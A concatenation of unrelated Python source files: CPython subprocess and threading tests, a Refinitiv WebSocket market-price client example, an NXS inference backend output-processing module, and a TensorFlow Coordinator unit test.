with subprocess.Popen([sys.executable, "-c",
"import sys;"
"sys.exit(sys.stdin.read() == 'context')"],
stdin=subprocess.PIPE) as proc:
proc.communicate(b"context")
self.assertEqual(proc.returncode, 1)
def test_invalid_args(self):
with self.assertRaises(FileNotFoundError) as c:
with subprocess.Popen(['nonexisting_i_hope'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE) as proc:
pass
def test_broken_pipe_cleanup(self):
"""Broken pipe error should not prevent wait() (Issue 21619)"""
proc = subprocess.Popen([sys.executable, '-c', 'pass'],
stdin=subprocess.PIPE,
bufsize=support.PIPE_MAX_SIZE*2)
proc = proc.__enter__()
# Prepare to send enough data to overflow any OS pipe buffering and
# guarantee a broken pipe error. Data is held in BufferedWriter
# buffer until closed.
proc.stdin.write(b'x' * support.PIPE_MAX_SIZE)
self.assertIsNone(proc.returncode)
# EPIPE expected under POSIX; EINVAL under Windows
self.assertRaises(OSError, proc.__exit__, None, None, None)
self.assertEqual(proc.returncode, 0)
self.assertTrue(proc.stdin.closed)
def test_main():
unit_tests = (ProcessTestCase,
POSIXProcessTestCase,
Win32ProcessTestCase,
CommandTests,
ProcessTestCaseNoPoll,
CommandsWithSpaces,
ContextManagerTests,
RunFuncTestCase,
)
support.run_unittest(*unit_tests)
support.reap_children()
if __name__ == "__main__":
unittest.main()
|
market_price.py | #|-----------------------------------------------------------------------------
#| This source code is provided under the Apache 2.0 license --
#| and is provided AS IS with no warranty or guarantee of fit for purpose. --
#| See the project's LICENSE.md for details. --
#| Copyright (C) 2017-2020 Refinitiv. All rights reserved. --
#|-----------------------------------------------------------------------------
#!/usr/bin/env python
""" Simple example of outputting Market Price JSON data using Websockets """
import sys
import time
import getopt
import socket
import json
import websocket
import threading
from threading import Thread, Event
# Global Default Variables
hostname = '127.0.0.1'
port = '15000'
user = 'root'
app_id = '256'
position = socket.gethostbyname(socket.gethostname())
snapshot = False
# Global Variables
web_socket_app = None
web_socket_open = False
def process_message(ws, message_json):
""" Parse at high level and output JSON of message """
message_type = message_json['Type']
if message_type == "Refresh":
if 'Domain' in message_json:
message_domain = message_json['Domain']
if message_domain == "Login":
process_login_response(ws, message_json)
elif message_type == "Ping":
pong_json = { 'Type':'Pong' }
ws.send(json.dumps(pong_json))
print("SENT:")
print(json.dumps(pong_json, sort_keys=True, indent=2, separators=(',', ':')))
def process_login_response(ws, message_json):
""" Send item request """
send_market_price_request(ws)
def send_market_price_request(ws):
""" Create and send simple Market Price request """
mp_req_json = {
'ID': 2,
'Key': {
'Name': 'TRI.N',
},
'Streaming': not snapshot,
}
ws.send(json.dumps(mp_req_json))
print("SENT:")
print(json.dumps(mp_req_json, sort_keys=True, indent=2, separators=(',', ':')))
def send_login_request(ws):
""" Generate a login request from command line data (or defaults) and send """
login_json = {
'ID': 1,
'Domain': 'Login',
'Key': {
'Name': '',
'Elements': {
'ApplicationId': '',
'Position': ''
}
}
}
login_json['Key']['Name'] = user
login_json['Key']['Elements']['ApplicationId'] = app_id
login_json['Key']['Elements']['Position'] = position
ws.send(json.dumps(login_json))
print("SENT:")
print(json.dumps(login_json, sort_keys=True, indent=2, separators=(',', ':')))
def on_message(ws, message):
""" Called when message received, parse message into JSON for processing """
print("RECEIVED: ")
message_json = json.loads(message)
print(json.dumps(message_json, sort_keys=True, indent=2, separators=(',', ':')))
for singleMsg in message_json:
process_message(ws, singleMsg)
def on_error(ws, error):
""" Called when websocket error has occurred """
print(error)
def on_close(ws, close_status_code, close_msg):
""" Called when websocket is closed """
global web_socket_open
print("WebSocket Closed")
web_socket_open = False
def on_open(ws):
""" Called when handshake is complete and websocket is open, send login """
print("WebSocket successfully connected!")
global web_socket_open
web_socket_open = True
send_login_request(ws)
if __name__ == "__main__":
# Get command line parameters
try:
opts, args = getopt.getopt(sys.argv[1:], "", ["help", "hostname=", "port=", "app_id=", "user=", "position=", "snapshot"])
except getopt.GetoptError:
print('Usage: market_price.py [--hostname hostname] [--port port] [--app_id app_id] [--user user] [--position position] [--snapshot] [--help]')
sys.exit(2)
for opt, arg in opts:
if opt in ("--help"):
print('Usage: market_price.py [--hostname hostname] [--port port] [--app_id app_id] [--user user] [--position position] [--snapshot] [--help]')
sys.exit(0)
elif opt in ("--hostname"):
hostname = arg
elif opt in ("--port"):
port = arg
elif opt in ("--app_id"):
app_id = arg
elif opt in ("--user"):
user = arg
elif opt in ("--position"):
position = arg
elif opt in "--snapshot":
snapshot = True
# Start websocket handshake
ws_address = "ws://{}:{}/WebSocket".format(hostname, port)
print("Connecting to WebSocket " + ws_address + " ...")
web_socket_app = websocket.WebSocketApp(ws_address, header=['User-Agent: Python'],
on_message=on_message,
on_error=on_error,
on_close=on_close,
subprotocols=['tr_json2'])
web_socket_app.on_open = on_open
# Event loop
wst = threading.Thread(target=web_socket_app.run_forever)
wst.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
web_socket_app.close()
|
output_process.py | import logging
import os
import pickle
import time
import json
import cv2
import copy
import numpy as np
from abc import ABC, abstractmethod
from typing import Dict, List
from configs import BACKEND_INTERNAL_CONFIG, NXS_BACKEND_CONFIG, NXS_CONFIG
from nxs_libs.interface.backend.input import (
BackendInputInterfaceFactory,
)
from nxs_libs.interface.backend.output import (
BackendOutputInterfaceFactory,
)
from nxs_types.infer import (
NxsInferInput,
NxsInferInputType,
NxsInferRequest,
NxsInferRequestMetadata,
)
from nxs_types.infer_result import (
NxsInferClassificationResult,
NxsInferDetectorResult,
NxsInferEmbeddingResult,
NxsInferOcrResult,
NxsInferResult,
NxsInferResultType,
NxsInferResultWithMetadata,
NxsInferStatus,
)
from nxs_types.model import NxsModel
from nxs_types.nxs_args import NxsBackendArgs
from nxs_types.scheduling_data import NxsSchedulingPerComponentModelPlan
from nxs_utils.logging import NxsLogLevel, setup_logger, write_log
class LogMetadata:
def __init__(self, req_metadata: NxsInferRequestMetadata, extra: Dict = {}) -> None:
self.metadata = req_metadata
self.extra = extra
class BackendOutputProcess(ABC):
def __init__(
self,
args: NxsBackendArgs,
component_model: NxsModel,
component_model_plan: NxsSchedulingPerComponentModelPlan,
pid: int,
postprocessing_fn_path: str,
input_interface_args: Dict,
output_interface_args: Dict,
stop_flag,
next_process_stop_flag,
dispatcher_update_shared_list=None,
extra_params: Dict = {},
) -> None:
self.component_model = component_model
self.component_model_plan = component_model_plan
self.input_interface_args = input_interface_args
self.output_interface_args = output_interface_args
self.stop_flag = stop_flag
self.next_process_stop_flag = next_process_stop_flag
self.extra_params = extra_params
self.postprocessing_fn_path = postprocessing_fn_path
self.dispatcher_update_shared_list = dispatcher_update_shared_list
self.pid = pid
self.p = None
self.postproc_fn = None
self.postproc_extra_params = {}
self.metadata_list: List[LogMetadata] = []
self.metadata_processing_period_secs = 1
try:
self.postproc_extra_params = json.loads(
self.component_model.model_desc.extra_postprocessing_metadata
)
except:
pass
self.log_prefix = "{}_OUTPUT_{}".format(component_model.model_uuid, pid)
# self.log_level = os.environ.get(NXS_CONFIG.LOG_LEVEL, NxsLogLevel.INFO)
setup_logger()
# def _log(self, message):
# write_log(self.log_prefix, message, self.log_level)
def _log(self, message, log_level=logging.INFO):
logging.log(log_level, f"{self.log_prefix} - {message}")
def run(self):
from multiprocessing import Process
self.p = Process(target=self._run, args=())
self.p.start()
def _run(self):
# load post-processing fn
self._load_postprocessing_fn()
self.input = BackendInputInterfaceFactory.create_input_interface(
**self.input_interface_args
)
self.output = BackendOutputInterfaceFactory.create_input_interface(
**self.output_interface_args
)
self.metadata_processing_t0 = time.time()
requests_count = 0
tt0 = time.time()
to_exit = False
while True:
incoming_batches = []
if self.stop_flag.value:
incoming_batches = self.input.close_and_get_remains()
to_exit = True
else:
incoming_batches = self.input.get_batch()
for batch in incoming_batches:
data, metadata = batch
if (
metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_STATUS,
NxsInferStatus.PROCESSING,
)
== NxsInferStatus.FAILED
):
user_metadata: NxsInferRequestMetadata = metadata[
NXS_BACKEND_CONFIG.USER_METADATA
]
extras = metadata.get("extra", {})
extras[BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS] = metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS, []
)
user_metadata.carry_over_extras = pickle.dumps(extras)
# do not need to do anything, forward to next
if self.next_process_stop_flag is not None:
# create new inference request
new_request = NxsInferRequest(
**(user_metadata.dict()),
inputs=[],
status=NxsInferStatus.FAILED,
)
self.output.put_batch("error", [new_request])
else:
result = NxsInferResultWithMetadata(
type=NxsInferResultType.CUSTOM,
task_uuid=user_metadata.task_uuid,
status=NxsInferStatus.FAILED,
error_msgs=metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS, []
),
custom="{}",
)
next_topic = user_metadata.exec_pipelines[-1]
self.output.put_batch(next_topic, [result])
continue
self.request_entering(metadata["extra"])
postproc_params = copy.copy(self.postproc_extra_params)
user_defined_postproc_params = {}
user_metadata: NxsInferRequestMetadata = metadata[
NXS_BACKEND_CONFIG.USER_METADATA
]
try:
user_defined_postproc_params = json.loads(
user_metadata.extra_postproc_params
)
except:
self._log("Failed to read user defined preproc_params")
for key in user_defined_postproc_params:
postproc_params[key] = user_defined_postproc_params[key]
result = {}
try:
result = self.postproc_fn(
data, postproc_params, self.component_model, metadata
)
except Exception as ex:
metadata[
BACKEND_INTERNAL_CONFIG.TASK_STATUS
] = NxsInferStatus.FAILED
error_msgs = metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS, []
)
error_msgs.append(
f"{self.component_model.model_uuid}: postproc failed with exception '{str(ex)}'"
)
metadata[BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS] = error_msgs
self.request_exiting(metadata["extra"])
# print(result)
# print(metadata)
if self.next_process_stop_flag is not None:
# still have latter stage to process
# FIXME
next_topic = "tmp_next"
# add extra into metadata
carry_over_extras = {}
if user_metadata.carry_over_extras is not None:
try:
carry_over_extras = pickle.loads(
user_metadata.carry_over_extras
)
except:
carry_over_extras = {}
for key in metadata["extra"]:
carry_over_extras[key] = metadata["extra"][key]
carry_over_extras[
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS
] = metadata.get(BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS, [])
user_metadata.carry_over_extras = pickle.dumps(carry_over_extras)
# create new inference request
new_request = NxsInferRequest(
**(user_metadata.dict()),
inputs=[
NxsInferInput(
name=key,
type=NxsInferInputType.PICKLED_DATA,
data=pickle.dumps(result[key]),
)
for key in result
],
status=metadata[BACKEND_INTERNAL_CONFIG.TASK_STATUS],
)
self.output.put_batch(next_topic, [new_request])
else:
# send data outside
status = metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_STATUS,
NxsInferStatus.PROCESSING,
)
next_topic = user_metadata.exec_pipelines.pop(0)
if (
status != NxsInferStatus.FAILED
and len(user_metadata.exec_pipelines) > 0
):
# create new inference request
new_request = NxsInferRequest(
**(user_metadata.dict()),
inputs=[
NxsInferInput(
name=key,
type=NxsInferInputType.PICKLED_DATA,
data=pickle.dumps(result[key]),
)
for key in result
],
)
# FIXME: How to add session_uuid to this???
next_topic = f"{next_topic}_{new_request.session_uuid}"
self.output.put_batch(next_topic, [new_request])
else:
try:
if isinstance(result, Dict):
if "detections" in result:
result = NxsInferResultWithMetadata(
type=NxsInferResultType.DETECTION,
task_uuid=user_metadata.task_uuid,
status=status,
error_msgs=metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS,
[],
),
detections=[
NxsInferDetectorResult(**det)
for det in result["detections"]
],
)
elif "classification" in result:
result = NxsInferResultWithMetadata(
type=NxsInferResultType.CLASSIFICATION,
task_uuid=user_metadata.task_uuid,
status=status,
error_msgs=metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS,
[],
),
classification=NxsInferClassificationResult(
**result["classification"]
),
)
elif "ocr" in result:
result = NxsInferResultWithMetadata(
type=NxsInferResultType.OCR,
task_uuid=user_metadata.task_uuid,
status=status,
error_msgs=metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS,
[],
),
ocr=[
NxsInferOcrResult(**r)
for r in result["ocr"]
],
)
elif "embedding" in result:
result = NxsInferResultWithMetadata(
type=NxsInferResultType.EMBEDDING,
task_uuid=user_metadata.task_uuid,
status=status,
error_msgs=metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS,
[],
),
embedding=NxsInferEmbeddingResult(
embedding=result["embedding"],
length=len(result["embedding"]),
),
)
if not isinstance(result, NxsInferResult):
result = NxsInferResultWithMetadata(
type=NxsInferResultType.CUSTOM,
task_uuid=user_metadata.task_uuid,
status=status,
error_msgs=metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS,
[],
),
custom=json.dumps(result),
)
except Exception as ex:
metadata[
BACKEND_INTERNAL_CONFIG.TASK_STATUS
] = NxsInferStatus.FAILED
error_msgs = metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS, []
)
error_msgs.append(
f"{self.component_model.model_uuid}: postproc output is not in correct format with exception '{str(ex)}'"
)
metadata[
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS
] = error_msgs
result = NxsInferResultWithMetadata(
type=NxsInferResultType.CUSTOM,
task_uuid=user_metadata.task_uuid,
status=status,
error_msgs=metadata.get(
BACKEND_INTERNAL_CONFIG.TASK_ERROR_MSGS,
[],
),
custom=json.dumps({}),
)
output_metadata = self.generate_output_metadata(
metadata["extra"]
)
result.metadata = pickle.dumps(output_metadata)
if not user_metadata.exec_pipelines:
# we are sending out result
if status != NxsInferStatus.FAILED:
result.status = NxsInferStatus.COMPLETED
self.output.put_batch(next_topic, [result])
else:
# do not need to forward FAILED task to next computation step, jutst forward to last topic
next_topic = user_metadata.exec_pipelines[-1]
self.output.put_batch(next_topic, [result])
self.metadata_list.append(LogMetadata(user_metadata, metadata["extra"]))
requests_count += 1
if (
time.time() - self.metadata_processing_t0
> self.metadata_processing_period_secs
):
processed_data = self.process_metadata_list(
self.metadata_list,
time.time() - self.metadata_processing_t0,
)
self.metadata_list = []
# forward this back to dispatcher
if self.dispatcher_update_shared_list is not None:
# print(processed_data)
self.dispatcher_update_shared_list.append(processed_data)
self.metadata_processing_t0 = time.time()
if time.time() - tt0 > 5:
if requests_count > 0:
fps = requests_count / (time.time() - tt0)
# print(f"output_{self.pid}", "fps", fps)
self._log(f"FPS: {fps}")
requests_count = 0
tt0 = time.time()
if to_exit:
break
if not incoming_batches:
time.sleep(0.0025)
if self.next_process_stop_flag is not None:
self.next_process_stop_flag.value = True
self._log("Exiting...")
def _load_postprocessing_fn(self):
import importlib
module_name = "nxs_postproc_fn"
spec = importlib.util.spec_from_file_location(
module_name, self.postprocessing_fn_path
)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
self.postproc_fn = module.postprocessing
# load extra params if available
try:
self.postproc_extra_params = json.loads(
self.component_model.model_desc.extra_postprocessing_metadata
)
except:
pass
self._log(f"Loaded postprocessing fn from {self.postprocessing_fn_path}")
def stop(self):
self.p.join()
@abstractmethod
def request_entering(self, extra_metadata: Dict):
raise NotImplementedError
@abstractmethod
def request_exiting(self, extra_metadata: Dict):
raise NotImplementedError
@abstractmethod
def process_metadata_list(
self, metadata_list: List[LogMetadata], duration_secs: float
) -> Dict:
raise NotImplementedError
@abstractmethod
def generate_output_metadata(self, extra_metadata: Dict) -> Dict:
raise NotImplementedError
class BackendBasicOutputProcess(BackendOutputProcess):
def __init__(
self,
args: NxsBackendArgs,
component_model: NxsModel,
component_model_plan: NxsSchedulingPerComponentModelPlan,
pid: int,
postprocessing_fn_path: str,
input_interface_args: Dict,
output_interface_args: Dict,
stop_flag,
next_process_stop_flag,
dispatcher_update_shared_list=None,
extra_params: Dict = {},
) -> None:
super().__init__(
args,
component_model,
component_model_plan,
pid,
postprocessing_fn_path,
input_interface_args,
output_interface_args,
stop_flag,
next_process_stop_flag,
dispatcher_update_shared_list,
extra_params=extra_params,
)
def request_entering(self, extra_metadata: Dict):
extra_metadata[self.component_model.model_uuid][
"postprocessing_t0"
] = time.time()
def request_exiting(self, extra_metadata: Dict):
cur_ts = time.time()
postprocessing_t0 = extra_metadata[self.component_model.model_uuid].pop(
"postprocessing_t0"
)
extra_metadata[self.component_model.model_uuid]["postprocessing_lat"] = (
cur_ts - postprocessing_t0
)
extra_metadata["postprocessing_t1"] = cur_ts
def process_metadata_list(
self, metadata_list: List[LogMetadata], duration_secs: float
) -> Dict:
total_requests = len(metadata_list)
fps = total_requests / duration_secs
request_lats = []
for request_log in metadata_list:
input_t0 = request_log.extra["input_t0"]
postprocessing_t1 = request_log.extra["postprocessing_t1"]
e2e_lat = postprocessing_t1 - input_t0
request_lats.append(e2e_lat)
latency = {
"mean": 0,
"min": 0,
"max": 0,
}
if request_lats:
latency = {
"mean": np.mean(request_lats),
"min": np.min(request_lats),
"max": np.max(request_lats),
}
return {
"output_pid": self.pid,
"duration": duration_secs,
"num_reqs": total_requests,
"fps": fps,
"latency": latency,
}
# def process_metadata_list(self, metadata_list: List[LogMetadata], duration_secs: float) -> Dict:
# session_fps_dict = {}
# session_avg_latency_dict = {}
# for data in metadata_list:
# session_uuid = data.metadata.session_uuid
# if session_uuid not in session_fps_dict:
# session_fps_dict[session_uuid] = 0
# session_avg_latency_dict[session_uuid] = []
# session_fps_dict[session_uuid] += 1
# latency = data.extra["postprocessing_t1"] - data.extra["preprocessing_t0"]
# session_fps_dict[session_uuid].append(latency)
# # convert num_reqs into fps
# for session_uuid in session_fps_dict:
# session_fps_dict[session_uuid] /= duration_secs
# session_avg_latency_dict[session_uuid] = np.mean(session_avg_latency_dict[session_uuid])
# return {
# "session_fps_dict" : session_fps_dict,
# "session_avg_latency_dict" : session_avg_latency_dict
# }
def generate_output_metadata(self, extra_metadata: Dict) -> Dict:
preprocessing_t0 = extra_metadata.pop("preprocessing_t0")
extra_metadata["e2e_lat"] = time.time() - preprocessing_t0
return extra_metadata
|
coordinator_test.py | """Tests for Coordinator."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import sys
import threading
import time
import tensorflow.python.platform
import tensorflow as tf
def StopInN(coord, n_secs):
time.sleep(n_secs)
coord.request_stop()
def RaiseInN(coord, n_secs, ex, report_exception):
try:
time.sleep(n_secs)
raise ex
except RuntimeError as e:
if report_exception:
coord.request_stop(e)
else:
coord.request_stop(sys.exc_info())
def SleepABit(n_secs):
time.sleep(n_secs)
class CoordinatorTest(tf.test.TestCase):
def testStopAPI(self):
coord = tf.train.Coordinator()
self.assertFalse(coord.should_stop())
self.assertFalse(coord.wait_for_stop(0.01))
coord.request_stop()
self.assertTrue(coord.should_stop())
self.assertTrue(coord.wait_for_stop(0.01))
def testStopAsync(self):
coord = tf.train.Coordinator()
self.assertFalse(coord.should_stop())
self.assertFalse(coord.wait_for_stop(0.1))
threading.Thread(target=StopInN, args=(coord, 0.02)).start()
self.assertFalse(coord.should_stop())
self.assertFalse(coord.wait_for_stop(0.01))
self.assertTrue(coord.wait_for_stop(0.03))
self.assertTrue(coord.should_stop())
def testJoin(self):
coord = tf.train.Coordinator()
threads = [
threading.Thread(target=SleepABit, args=(0.01,)),
threading.Thread(target=SleepABit, args=(0.02,)),
threading.Thread(target=SleepABit, args=(0.01,))]
for t in threads:
t.start()
coord.join(threads)
def testJoinGraceExpires(self):
coord = tf.train.Coordinator()
threads = [
threading.Thread(target=StopInN, args=(coord, 0.01)),
threading.Thread(target=SleepABit, args=(10.0,))]
for t in threads:
t.daemon = True
t.start()
with self.assertRaisesRegexp(RuntimeError, "threads still running"):
coord.join(threads, stop_grace_period_secs=0.02)
def testJoinRaiseReportExcInfo(self):
coord = tf.train.Coordinator()
threads = [
threading.Thread(target=RaiseInN,
args=(coord, 0.01, RuntimeError("First"), False)),
threading.Thread(target=RaiseInN,
args=(coord, 0.02, RuntimeError("Too late"), False))]
for t in threads:
t.start()
with self.assertRaisesRegexp(RuntimeError, "First"):
coord.join(threads)
def testJoinRaiseReportException(self):
coord = tf.train.Coordinator()
threads = [
threading.Thread(target=RaiseInN,
args=(coord, 0.01, RuntimeError("First"), True)),
threading.Thread(target=RaiseInN,
args=(coord, 0.02, RuntimeError("Too late"), True))]
for t in threads:
t.start()
with self.assertRaisesRegexp(RuntimeError, "First"):
coord.join(threads)
if __name__ == "__main__":
tf.test.main()
|
test_threading.py | # Very rudimentary test of threading module
import test.test_support
from test.test_support import verbose
import random
import re
import sys
thread = test.test_support.import_module('thread')
threading = test.test_support.import_module('threading')
import time
import unittest
import weakref
import os
import subprocess
from test import lock_tests
# A trivial mutable counter.
class Counter(object):
def __init__(self):
self.value = 0
def inc(self):
self.value += 1
def dec(self):
self.value -= 1
def get(self):
return self.value
class TestThread(threading.Thread):
def __init__(self, name, testcase, sema, mutex, nrunning):
threading.Thread.__init__(self, name=name)
self.testcase = testcase
self.sema = sema
self.mutex = mutex
self.nrunning = nrunning
def run(self):
delay = random.random() / 10000.0
if verbose:
print 'task %s will run for %.1f usec' % (
self.name, delay * 1e6)
with self.sema:
with self.mutex:
self.nrunning.inc()
if verbose:
print self.nrunning.get(), 'tasks are running'
self.testcase.assertTrue(self.nrunning.get() <= 3)
time.sleep(delay)
if verbose:
print 'task', self.name, 'done'
with self.mutex:
self.nrunning.dec()
self.testcase.assertTrue(self.nrunning.get() >= 0)
if verbose:
print '%s is finished. %d tasks are running' % (
self.name, self.nrunning.get())
class BaseTestCase(unittest.TestCase):
def setUp(self):
self._threads = test.test_support.threading_setup()
def tearDown(self):
test.test_support.threading_cleanup(*self._threads)
test.test_support.reap_children()
class ThreadTests(BaseTestCase):
# Create a bunch of threads, let each do some work, wait until all are
# done.
def test_various_ops(self):
# This takes about n/3 seconds to run (about n/3 clumps of tasks,
# times about 1 second per clump).
NUMTASKS = 10
# no more than 3 of the 10 can run at once
sema = threading.BoundedSemaphore(value=3)
mutex = threading.RLock()
numrunning = Counter()
threads = []
for i in range(NUMTASKS):
t = TestThread("<thread %d>"%i, self, sema, mutex, numrunning)
threads.append(t)
self.assertEqual(t.ident, None)
self.assertTrue(re.match('<TestThread\(.*, initial\)>', repr(t)))
t.start()
if verbose:
print 'waiting for all tasks to complete'
for t in threads:
t.join(NUMTASKS)
self.assertTrue(not t.is_alive())
self.assertNotEqual(t.ident, 0)
self.assertFalse(t.ident is None)
self.assertTrue(re.match('<TestThread\(.*, \w+ -?\d+\)>', repr(t)))
if verbose:
print 'all tasks done'
self.assertEqual(numrunning.get(), 0)
def test_ident_of_no_threading_threads(self):
# The ident still must work for the main thread and dummy threads.
self.assertFalse(threading.currentThread().ident is None)
def f():
ident.append(threading.currentThread().ident)
done.set()
done = threading.Event()
ident = []
thread.start_new_thread(f, ())
done.wait()
self.assertFalse(ident[0] is None)
# Kill the "immortal" _DummyThread
del threading._active[ident[0]]
# run with a small(ish) thread stack size (256kB)
def test_various_ops_small_stack(self):
if verbose:
print 'with 256kB thread stack size...'
try:
threading.stack_size(262144)
except thread.error:
if verbose:
print 'platform does not support changing thread stack size'
return
self.test_various_ops()
threading.stack_size(0)
# run with a large thread stack size (1MB)
def test_various_ops_large_stack(self):
if verbose:
print 'with 1MB thread stack size...'
try:
threading.stack_size(0x100000)
except thread.error:
if verbose:
print 'platform does not support changing thread stack size'
return
self.test_various_ops()
threading.stack_size(0)
def test_foreign_thread(self):
# Check that a "foreign" thread can use the threading module.
def f(mutex):
# Calling current_thread() forces an entry for the foreign
# thread to get made in the threading._active map.
threading.current_thread()
mutex.release()
mutex = threading.Lock()
mutex.acquire()
tid = thread.start_new_thread(f, (mutex,))
# Wait for the thread to finish.
mutex.acquire()
self.assertIn(tid, threading._active)
self.assertIsInstance(threading._active[tid], threading._DummyThread)
del threading._active[tid]
# PyThreadState_SetAsyncExc() is a CPython-only gimmick, not (currently)
# exposed at the Python level. This test relies on ctypes to get at it.
def test_PyThreadState_SetAsyncExc(self):
try:
import ctypes
except ImportError:
if verbose:
print "test_PyThreadState_SetAsyncExc can't import ctypes"
return # can't do anything
set_async_exc = ctypes.pythonapi.PyThreadState_SetAsyncExc
class AsyncExc(Exception):
pass
exception = ctypes.py_object(AsyncExc)
# First check it works when setting the exception from the same thread.
tid = thread.get_ident()
try:
result = set_async_exc(ctypes.c_long(tid), exception)
# The exception is async, so we might have to keep the VM busy until
# it notices.
while True:
pass
except AsyncExc:
pass
else:
# This code is unreachable but it reflects the intent. If we wanted
# to be smarter the above loop wouldn't be infinite.
self.fail("AsyncExc not raised")
try:
self.assertEqual(result, 1) # one thread state modified
except UnboundLocalError:
# The exception was raised too quickly for us to get the result.
pass
# `worker_started` is set by the thread when it's inside a try/except
# block waiting to catch the asynchronously set AsyncExc exception.
# `worker_saw_exception` is set by the thread upon catching that
# exception.
worker_started = threading.Event()
worker_saw_exception = threading.Event()
class Worker(threading.Thread):
def run(self):
self.id = thread.get_ident()
self.finished = False
try:
while True:
worker_started.set()
time.sleep(0.1)
except AsyncExc:
self.finished = True
worker_saw_exception.set()
t = Worker()
t.daemon = True # so if this fails, we don't hang Python at shutdown
t.start()
if verbose:
print " started worker thread"
# Try a thread id that doesn't make sense.
if verbose:
print " trying nonsensical thread id"
result = set_async_exc(ctypes.c_long(-1), exception)
self.assertEqual(result, 0) # no thread states modified
# Now raise an exception in the worker thread.
if verbose:
print " waiting for worker thread to get started"
ret = worker_started.wait()
self.assertTrue(ret)
if verbose:
print " verifying worker hasn't exited"
self.assertTrue(not t.finished)
if verbose:
print " attempting to raise asynch exception in worker"
result = set_async_exc(ctypes.c_long(t.id), exception)
self.assertEqual(result, 1) # one thread state modified
if verbose:
print " waiting for worker to say it caught the exception"
worker_saw_exception.wait(timeout=10)
self.assertTrue(t.finished)
if verbose:
print " all OK -- joining worker"
if t.finished:
t.join()
# else the thread is still running, and we have no way to kill it
def test_limbo_cleanup(self):
# Issue 7481: Failure to start thread should cleanup the limbo map.
def fail_new_thread(*args):
raise thread.error()
_start_new_thread = threading._start_new_thread
threading._start_new_thread = fail_new_thread
try:
t = threading.Thread(target=lambda: None)
self.assertRaises(thread.error, t.start)
self.assertFalse(
t in threading._limbo,
"Failed to cleanup _limbo map on failure of Thread.start().")
finally:
threading._start_new_thread = _start_new_thread
def test_finalize_runnning_thread(self):
# Issue 1402: the PyGILState_Ensure / _Release functions may be called
# very late on python exit: on deallocation of a running thread for
# example.
try:
import ctypes
except ImportError:
if verbose:
print("test_finalize_with_runnning_thread can't import ctypes")
return # can't do anything
rc = subprocess.call([sys.executable, "-c", """if 1:
import ctypes, sys, time, thread
# This lock is used as a simple event variable.
ready = thread.allocate_lock()
ready.acquire()
# Module globals are cleared before __del__ is run
# So we save the functions in class dict
class C:
ensure = ctypes.pythonapi.PyGILState_Ensure
release = ctypes.pythonapi.PyGILState_Release
def __del__(self):
state = self.ensure()
self.release(state)
def waitingThread():
x = C()
ready.release()
time.sleep(100)
thread.start_new_thread(waitingThread, ())
ready.acquire() # Be sure the other thread is waiting.
sys.exit(42)
"""])
self.assertEqual(rc, 42)
def test_finalize_with_trace(self):
# Issue1733757
# Avoid a deadlock when sys.settrace steps into threading._shutdown
p = subprocess.Popen([sys.executable, "-c", """if 1:
import sys, threading
# A deadlock-killer, to prevent the
# testsuite to hang forever
def killer():
import os, time
time.sleep(2)
print 'program blocked; aborting'
os._exit(2)
t = threading.Thread(target=killer)
t.daemon = True
t.start()
# This is the trace function
def func(frame, event, arg):
threading.current_thread()
return func
sys.settrace(func)
"""],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
stdout, stderr = p.communicate()
rc = p.returncode
self.assertFalse(rc == 2, "interpreted was blocked")
self.assertTrue(rc == 0,
"Unexpected error: " + repr(stderr))
def test_join_nondaemon_on_shutdown(self):
# Issue 1722344
# Raising SystemExit skipped threading._shutdown
p = subprocess.Popen([sys.executable, "-c", """if 1:
import threading
from time import sleep
def child():
sleep(1)
# As a non-daemon thread we SHOULD wake up and nothing
# should be torn down yet
print "Woke up, sleep function is:", sleep
threading.Thread(target=child).start()
raise SystemExit
"""],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
stdout, stderr = p.communicate()
self.assertEqual(stdout.strip(),
"Woke up, sleep function is: <built-in function sleep>")
stderr = re.sub(r"^\[\d+ refs\]", "", stderr, re.MULTILINE).strip()
self.assertEqual(stderr, "")
def test_enumerate_after_join(self):
# Try hard to trigger #1703448: a thread is still returned in
# threading.enumerate() after it has been join()ed.
enum = threading.enumerate
old_interval = sys.getcheckinterval()
try:
for i in xrange(1, 100):
# Try a couple times at each thread-switching interval
# to get more interleavings.
sys.setcheckinterval(i // 5)
t = threading.Thread(target=lambda: None)
t.start()
t.join()
l = enum()
self.assertNotIn(t, l,
"#1703448 triggered after %d trials: %s" % (i, l))
finally:
sys.setcheckinterval(old_interval)
def test_no_refcycle_through_target(self):
class RunSelfFunction(object):
def __init__(self, should_raise):
# The links in this refcycle from Thread back to self
# should be cleaned up when the thread completes.
self.should_raise = should_raise
self.thread = threading.Thread(target=self._run,
args=(self,),
kwargs={'yet_another':self})
self.thread.start()
def _run(self, other_ref, yet_another):
if self.should_raise:
raise SystemExit
cyclic_object = RunSelfFunction(should_raise=False)
weak_cyclic_object = weakref.ref(cyclic_object)
cyclic_object.thread.join()
del cyclic_object
self.assertEqual(None, weak_cyclic_object(),
msg=('%d references still around' %
sys.getrefcount(weak_cyclic_object())))
raising_cyclic_object = RunSelfFunction(should_raise=True)
weak_raising_cyclic_object = weakref.ref(raising_cyclic_object)
raising_cyclic_object.thread.join()
